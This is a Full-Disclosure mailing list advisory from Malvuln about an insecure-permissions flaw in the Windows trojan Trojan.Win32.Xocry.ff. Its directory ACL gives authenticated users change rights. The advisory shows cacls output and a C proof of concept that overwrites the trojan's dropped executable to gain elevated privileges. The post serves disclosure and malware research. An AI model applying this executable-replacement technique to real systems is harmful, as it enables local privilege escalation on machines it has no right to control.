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List:       full-disclosure
Subject:    [FD] Trojan.Win32.Xocry.ff / Insecure Permissions
From:       malvuln <malvuln13 () gmail ! com>
Date:       2021-01-23 22:39:07
Message-ID: CAAHK0WQaoUUkAa1cd63txpFOOV9SKjkSZUbeFyCyomsnHVP41w () mail ! gmail ! com
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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/8f13116d46a7097e14ef971d48d6a203.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Xocry.ff
Vulnerability: Insecure Permissions
Description: Trojan Xocry.ff creates its c:\ProgData directory with an
insecure ACL, handing over change permissions to any authenticated
user allowing EoP.
Type: PE32
MD5: 8f13116d46a7097e14ef971d48d6a203
Vuln ID: MVID-2021-0050
Dropped files:  C:\Users\[VICTIM]\AppData\Local\Temp\[RANDOM-NAME].exe
Disclosure: 01/23/2021


Exploit/PoC:
C:\>cacls C:\ProgData\ProgData.exe
C:\ProgData\ProgData.exe BUILTIN\Administrators:(ID)F
                         NT AUTHORITY\SYSTEM:(ID)F
                         BUILTIN\Users:(ID)R
                         NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\ProgData\\ProgData.exe"
#define TMP "C:\\ProgData\\2.exe"
#define DISABLED_TARGET "C:\\ProgData\\666.tmp"

/* Trojan.Win32.Xocry.ff.8f13116d46a7097e14ef971d48d6a203 */
/* Insecure Permissions EoP */
/*  By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib &
FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
  if(!FileExists(DISABLED_TARGET)){
  	CopyFile(TARGET, TMP, FALSE);
  	Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Trojan.Win32.Xocry.ff EoP PoC\n");
    Sleep(1000);
    printf("[+] Disabled Dropped ProgData.exe ...\n");
    Sleep(300);
   }else{
  	 PWNED=TRUE;
   }
    if(!PWNED){
     	char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln ProgData dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Replaced ProgData EXE...\n");
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
    	if(FileExists(TMP)){
    		 remove(TMP);
    	}
     	printf("[+] Trojan.Win32.Xocry.ff PWNED!\n");
     	printf("[+] MD5: 8f13116d46a7097e14ef971d48d6a203\n");
     	printf("[+] By Malvuln\n");
     	system("pause");
     }
}



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credit is given to the author. The author is not responsible for any
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responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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